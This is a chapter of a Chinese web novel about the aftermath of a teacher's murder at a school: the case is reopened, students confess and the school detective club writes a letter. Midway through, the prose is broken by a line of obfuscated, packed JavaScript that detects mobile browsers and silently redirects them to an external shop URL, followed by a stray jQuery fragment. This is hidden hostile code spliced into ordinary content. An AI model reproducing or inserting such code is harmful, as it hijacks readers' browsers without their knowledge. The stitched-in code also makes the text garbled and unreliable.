三天后，夕隐中学三个月前的旧案被重新刊登。
这一次，标题里没有再写“年轻教师因情绪问题自杀”。报道里写得很清楚：泷见晴，国文科教师，文学社指导教师，生前曾多次提交学生危险行为记录、偷拍视频传播证据、职场骚扰投诉和外部通报申请。旧案中被忽略的保安室监控备份申请重新进入调查，钟塔坠落被认定存在重大他杀嫌疑，泷见晴之父涉嫌故意杀人及长期勒索，相关材料移交异防部与治安系统联合处理。
卡维尔与松原的死亡被另案封存。公众得到的只有“异常事件调查中”。有人猜测，有人阴谋论，有人把校园祭之夜写成猎奇故事，也有人终于开始把泷见晴曾经提交过的那些材料一页页翻出来，问为什么当初没有人听她说完。
九十九俊介没有死。
但他再也无法面对任何屏幕。医院床头的体征监测仪、走廊里的电子钟、护士手里的平板都会让他拼命后退。他反复喊“不是我一个人发的”“大家都在看”“我没杀她”，可每一句都会把他重新拖回那些由自己剪出来的屏幕里。医生说这是异常污染残留，也有人说这是精神崩溃。异防部记录上写得更冷静些。
【意识回流失败。】
【现实定向障碍。】
【持续性屏幕恐惧。】
【拒绝承认核心事实。】
伊集院千织也没有死。
她醒来时，比九十九安静得多。她没有尖叫，也没有挣扎，只是盯着床边那盒纸巾看了很久。护士想把纸巾盒拿走，她却忽然伸手按住，指节白得厉害。
医生问她叫什么名字，她答不上来。问她发生了什么，她也答不上来。
只要有人说“老师”两个字，她就会下意识捂住脸，仿佛那道伤仍然划在自己手上。她无法独处在心理咨询室，也不能看见白色纸巾。可和九十九不同，她并没有完全拒绝现实。
第三天清晨，她主动要求见异防部调查员。
她坐在询问室里很久。纸笔放在她面前。她握住笔，又松开，反复几次，手抖得几乎写不出字。
最后，她写下第一行。
【我曾经划伤泷见晴老师。】
写到“老师”两个字时，她停了很久，终于明白，这个称呼不是学校给泷见晴安排的职位，而是泷见晴那天为什么不能后退的原因。
下一行，她写得更慢。
【她那天不是在害我。】
接着，纸面上落下一点水迹，很快被她用手背擦掉。
【她是在救我。】
这份证词没有让她被原谅。
它只是让她终于开始为那一刀买单。异防部重新调取了当时的伤情记录和心理谈话资料，伊集院被安排长期治疗，也必须接受后续调查与处分。她仍然有很长一段时间不能走进有纸巾盒的房间，可她没有再说“我没让她救我”。
她没有完全走出来。
但那半扇门还在。
相马提交了补充报告。
那份报告很长，长到不像他以前会写的东西。他没有只写结论，也没有把自己放在干净的位置。他把自己当初接收校方材料、没有继续追问、没有查保安室申请的部分全都写了进去。源心看完之后，没有夸他，只把报告放回桌上，说了一句：“下次早点。”
相马站在她办公室里，很久没有说话。
最后他说：“不会有下次了。”
源心抬眼看他。
相马低声补了一句：“我不会再逃避了。”
源心没有再说什么。她把另一份文件推给他。
那是泷见晴案重启调查的正式编号。
校侦社也在那天之后送来了一只新的文件袋。
道士把文件袋交给归零时，难得没有说自己的称号。他只是站在事务所门口，校服外套洗得很干净，臂章也摘掉了，看起来比校园祭那天普通得多。
“这是校侦社送给你们的。”他说。
老白接过文件袋：“不是法医留下的？”
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17718603|208559||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
道士摇摇头。
“法医只是一个名字。”
文件袋里没有旧案资料，也没有推理过程，只有一封折得很整齐的信。信纸是校侦社活动室常用的便签纸，边角印着廉价的放大镜图案，墨水有几处被手心蹭开，字迹也不完全一样。显然不是一个人写完的。
老白把信展开。
【致不死途先生、归零小姐、老白先生：】
【我们不是侦探，也不是法医。】
【最早写下“法医”这个名字的人，比我们都小。】
【后来，谁发现被剪掉的东西，谁把旧资料整理出来，谁就把它放进资料箱，署名写“法医”。】
【因为死人已经不能说话了。】
【三个月前，学校让大家不要讨论。有人说她情绪不好，有人说她太爱管闲事，有人说成年人自己的事，学生别掺和。我们也害怕。怕被叫去谈话，怕被记过，怕被说造谣，怕自己什么都做不了。】
【所以我们没有救下她。】
【对不起。】
【可是我们还是觉得不对。】
【所以我们留下了旧楼平面图，留下了纸玫瑰，留下了那句“调查泷见晴”。】
【我们只是普通人。】
【但普通人也可以不甘心。】
【死者说完了。】
【剩下的，交给活人。】
【夕隐中学校侦社敬上】
老白读完后，很久没有说话。
归零把信重新折好，放回文件袋里。
“这次还打谜语人吗？”老白问。
“不打了。”归零说。
道士明显松了一口气。
归零看了他一眼：“但你们下次再用‘超高校级’这种称号，我还是会骂。”
道士愣了一下，终于笑了出来。
那笑声很轻，也很短。在坠楼事件和校园祭那天之后，他们终于第一次像普通学生一样，重新站回了阳光底下。